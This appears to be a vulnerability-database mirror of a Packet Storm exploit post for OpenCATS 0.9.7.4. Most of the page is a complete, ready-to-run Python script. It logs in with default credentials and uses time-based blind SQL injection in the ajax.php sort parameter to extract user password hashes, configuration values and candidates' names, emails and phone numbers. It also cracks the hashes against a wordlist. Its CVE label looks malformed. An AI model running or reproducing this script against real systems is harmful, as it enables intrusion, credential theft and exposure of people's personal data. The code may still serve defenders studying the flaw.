Lucene search
K

πŸ“„ OpenCATS 0.9.7.4 Time-Based Blind SQL Injection

πŸ—“οΈΒ 08 Jul 2026Β 00:00:00Reported byΒ indoushkaTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 13Β Views

OpenCATS version 0.9.7.4 is exploitable via time based blind injection to extract data.

Code
==================================================================================================================================
    | # Title     : OpenCATS 0.9.7.4 Time-Based Blind SQL Injection Exploit Data Extraction Tool                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/opencats/OpenCATS                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  This script targets a suspected SQL injection vulnerability in OpenCATS 0.9.7.4 by exploiting a time-based blind SQL injection technique.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import time
    import argparse
    import hashlib
    import urllib3
    from datetime import datetime
    from typing import Optional, Dict, List, Tuple
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class OpenCATSSQLi:
        def __init__(self, url: str, username: str = "admin", password: str = "cats", delay: float = 1.5, verbose: bool = False):
            self.base_url = url.rstrip('/')
            self.username = username
            self.password = password
            self.delay = delay
            self.verbose = verbose
            self.session = requests.Session()
            self.authenticated = False
            self.baseline_time = 0
        def log(self, msg: str, level: str = "INFO"):
            timestamp = datetime.now().strftime("%H:%M:%S")
            if level == "SUCCESS":
                print(f"\033[92m[{timestamp}] [+] {msg}\033[0m")
            elif level == "ERROR":
                print(f"\033[91m[{timestamp}] [-] {msg}\033[0m")
            elif level == "WARNING":
                print(f"\033[93m[{timestamp}] [!] {msg}\033[0m")
            elif level == "DEBUG" and self.verbose:
                print(f"\033[94m[{timestamp}] [*] {msg}\033[0m")
            else:
                print(f"\033[96m[{timestamp}] [*] {msg}\033[0m")
        def authenticate(self) -> bool:
            """Authenticate to OpenCATS"""
            self.log(f"Authenticating as {self.username}")
            try:
                self.session.get(f"{self.base_url}/index.php")
                response = self.session.post(
                    f"{self.base_url}/index.php?m=login&a=attemptLogin",
                    data={
                        "username": self.username,
                        "password": self.password
                    },
                    allow_redirects=True
                )
                if response.status_code == 200 or response.status_code == 302:
                    if "Invalid" not in response.text and "login" not in response.url:
                        self.authenticated = True
                        self.log("Authentication successful", "SUCCESS")
                        return True
                    else:
                        self.log("Authentication failed - invalid credentials", "ERROR")
                        return False
                self.log(f"Authentication failed with status {response.status_code}", "ERROR")
                return False
            except Exception as e:
                self.log(f"Authentication error: {e}", "ERROR")
                return False
        def send_sqli_request(self, payload: str, timeout: int = 10) -> float:
            """Send SQL injection payload and measure response time"""
            params = {
                "f": "getDataGridPager",
                "i": "candidates:candidatesListByViewDataGrid",
                "p": json.dumps({
                    "sortBy": "dateModifiedSort",
                    "sortDirection": payload,
                    "rangeStart": 0,
                    "maxResults": 15
                })
            }
            start_time = time.time()
            try:
                response = self.session.get(
                    f"{self.base_url}/ajax.php",
                    params=params,
                    timeout=timeout
                )
                elapsed = time.time() - start_time
                if self.verbose:
                    self.log(f"Request took {elapsed:.3f}s", "DEBUG")
                return elapsed
            except requests.exceptions.Timeout:
                elapsed = time.time() - start_time
                self.log(f"Request timeout after {elapsed:.3f}s", "DEBUG")
                return elapsed
            except Exception as e:
                self.log(f"Request error: {e}", "DEBUG")
                return time.time() - start_time
        def get_baseline(self) -> float:
            """Get baseline response time"""
            normal_time = self.send_sqli_request("DESC")
            self.baseline_time = normal_time
            self.log(f"Baseline response time: {normal_time:.3f}s")
            return normal_time
        def is_vulnerable(self) -> bool:
            """Check if target is vulnerable to time-based blind SQL injection"""
            self.log("Testing for SQL injection vulnerability...")
            baseline = self.get_baseline()
            sleep_time = self.send_sqli_request(f"DESC,SLEEP({self.delay})")
            self.log(f"Response time with SLEEP: {sleep_time:.3f}s")
            if sleep_time > baseline + (self.delay * 0.6):
                self.log("Target is VULNERABLE to time-based blind SQL injection!", "SUCCESS")
                return True
            else:
                self.log("Target does not appear vulnerable", "ERROR")
                return False
        def blind_condition(self, condition: str) -> bool:
            """Execute blind SQL condition and return result"""
            payload = f"DESC,IF(({condition}),SLEEP({self.delay}),0)"
            response_time = self.send_sqli_request(payload)
            return response_time > self.baseline_time + (self.delay * 0.6)
        def extract_string(self, query: str, max_length: int = 100) -> str:
            """Extract string using binary search"""
            result = ""
            length = 0
            for i in range(1, max_length + 1):
                if self.blind_condition(f"LENGTH(({query})) < {i}"):
                    length = i - 1
                    break
                length = i
            self.log(f"Length: {length}")
            for pos in range(1, length + 1):
                lo, hi = 32, 126  # Printable ASCII range
                while lo < hi:
                    mid = (lo + hi) // 2
                    if self.blind_condition(f"ORD(SUBSTRING(({query}), {pos}, 1)) > {mid}"):
                        lo = mid + 1
                    else:
                        hi = mid
                result += chr(lo)
                self.log(f"Progress: {pos}/{length} -> {result}", "DEBUG")
            return result
        def extract_integer(self, query: str) -> int:
            """Extract integer using bit extraction"""
            result = 0
            for bit in range(32):
                if self.blind_condition(f"(({query}) >> {bit}) & 1 = 1"):
                    result |= (1 << bit)
            return result
        def get_database_info(self) -> Dict:
            """Extract database information"""
            self.log("Extracting database information...")
            info = {
                "version": self.extract_string("@@version", 30),
                "database": self.extract_string("DATABASE()", 30),
                "user": self.extract_string("USER()", 30),
                "hostname": self.extract_string("@@hostname", 50)
            }
            self.log(f"MySQL Version: {info['version']}")
            self.log(f"Database: {info['database']}")
            self.log(f"User: {info['user']}")
            return info
        def get_users(self) -> List[Dict]:
            """Extract user credentials"""
            self.log("Extracting user credentials...")
            users = []
            user_count = self.extract_integer("SELECT COUNT(*) FROM user")
            self.log(f"Found {user_count} user(s)")
            for i in range(user_count):
                user = {
                    "username": self.extract_string(f"SELECT user_name FROM user ORDER BY user_id LIMIT {i},1", 40),
                    "access_level": self.extract_integer(f"SELECT access_level FROM user ORDER BY user_id LIMIT {i},1"),
                    "password_hash": self.extract_string(f"SELECT password FROM user ORDER BY user_id LIMIT {i},1", 64),
                    "email": self.extract_string(f"SELECT email FROM user ORDER BY user_id LIMIT {i},1", 60)
                }
                users.append(user)
                self.log(f"User {i+1}: {user['username']} (level: {user['access_level']})")
                self.log(f"  Hash: {user['password_hash']}")
            return users
        def get_candidates(self, limit: int = 20) -> List[Dict]:
            """Extract candidate information"""
            self.log("Extracting candidate information...")
            candidates = []
            candidate_count = self.extract_integer("SELECT COUNT(*) FROM candidate")
            self.log(f"Found {candidate_count} candidate(s)")
            extract_count = min(candidate_count, limit)
            self.log(f"Extracting {extract_count} candidates...")
            for i in range(extract_count):
                candidate = {
                    "first_name": self.extract_string(f"SELECT firstName FROM candidate ORDER BY candidateId LIMIT {i},1", 30),
                    "last_name": self.extract_string(f"SELECT lastName FROM candidate ORDER BY candidateId LIMIT {i},1", 30),
                    "email": self.extract_string(f"SELECT email FROM candidate ORDER BY candidateId LIMIT {i},1", 50),
                    "phone": self.extract_string(f"SELECT phoneHome FROM candidate ORDER BY candidateId LIMIT {i},1", 20),
                    "company": self.extract_string(f"SELECT company FROM candidate ORDER BY candidateId LIMIT {i},1", 50)
                }
                candidates.append(candidate)
                self.log(f"Candidate {i+1}: {candidate['first_name']} {candidate['last_name']} - {candidate['email']}")
            return candidates
        def get_config(self) -> Dict:
            """Extract configuration settings"""
            self.log("Extracting configuration...")
            config = {}
            config_keys = [
                'site_name', 'site_url', 'admin_email', 'language',
                'timezone', 'date_format', 'currency', 'company_name'
            ]
            for key in config_keys:
                value = self.extract_string(f"SELECT value FROM config WHERE setting = '{key}' LIMIT 1", 100)
                if value:
                    config[key] = value
                    self.log(f"{key}: {value}")
            return config
        def run_full_extraction(self) -> Dict:
            """Run complete data extraction"""
            self.log("Starting full data extraction...")
            
            data = {
                "database_info": self.get_database_info(),
                "users": self.get_users(),
                "config": self.get_config(),
                "candidates": self.get_candidates(),
                "timestamp": datetime.now().isoformat()
            }
            self.log("\n" + "=" * 60, "SUCCESS")
            self.log("EXTRACTION COMPLETE!", "SUCCESS")
            self.log("=" * 60)
            self.log(f"Database: {data['database_info']['database']}")
            self.log(f"MySQL Version: {data['database_info']['version']}")
            self.log(f"Users: {len(data['users'])}")
            self.log(f"Candidates: {len(data['candidates'])}")
            self.log(f"Config items: {len(data['config'])}")
            return data
        def crack_hashes(self, hashes: List[str], wordlist: str = None) -> Dict:
            """Attempt to crack password hashes"""
            results = {}
            for user_hash in hashes:
                if len(user_hash) == 32:
                    hash_type = "MD5"
                elif len(user_hash) == 40:
                    hash_type = "SHA1"
                else:
                    hash_type = "Unknown"
                results[user_hash] = {"type": hash_type, "cracked": None}
                if wordlist:
                    self.log(f"Cracking hash {user_hash[:16]}...")
                    with open(wordlist, 'r', encoding='latin-1') as f:
                        for word in f:
                            word = word.strip()
                            if hashlib.md5(word.encode()).hexdigest() == user_hash:
                                results[user_hash]["cracked"] = word
                                self.log(f"Found: {word}", "SUCCESS")
                                break
            return results
    def banner():
        print("""
    ╔══════════════════════════════════════════════════════════════════╗
    β•‘  OpenCATS 0.9.7.4 - Time-Based Blind SQL Injection             β•‘
    β•‘  Data Extraction & Credential Harvesting                        β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
        """)
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-1970574 - OpenCATS SQL Injection Exploit"
        )
        parser.add_argument("-u", "--url", required=True, help="OpenCATS base URL")
        parser.add_argument("--user", default="admin", help="OpenCATS username (default: admin)")
        parser.add_argument("--pass", dest="password", default="cats", help="OpenCATS password (default: cats)")
        parser.add_argument("-d", "--delay", type=float, default=1.5, help="Time delay for blind injection (default: 1.5)")
        parser.add_argument("-o", "--output", help="Output file for extracted data (JSON)")
        parser.add_argument("--crack", help="Wordlist for password cracking")
        parser.add_argument("--extract", choices=["all", "users", "config", "candidates"], 
                            default="all", help="What to extract (default: all)")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        args = parser.parse_args()
        banner()
        exploit = OpenCATSSQLi(args.url, args.user, args.password, args.delay, args.verbose)
        if not exploit.authenticate():
            sys.exit(1)
        if not exploit.is_vulnerable():
            sys.exit(1)
        data = {}
        if args.extract in ["all", "users"]:
            data["users"] = exploit.get_users()
        if args.extract in ["all", "config"]:
            data["config"] = exploit.get_config()
        if args.extract in ["all", "candidates"]:
            data["candidates"] = exploit.get_candidates()
        if args.extract == "all":
            data["database_info"] = exploit.get_database_info()
        if args.crack and data.get("users"):
            hashes = [u["password_hash"] for u in data["users"] if u.get("password_hash")]
            cracked = exploit.crack_hashes(hashes, args.crack)
            data["cracked_passwords"] = cracked
        if args.output:
            import json
            with open(args.output, 'w') as f:
                json.dump(data, f, indent=2)
            print(f"\n[*] Data saved to {args.output}")
        print("\n" + "=" * 60)
        print("[*] Exploit completed")
        print("=" * 60)
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] Interrupted by user")
            sys.exit(0)
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation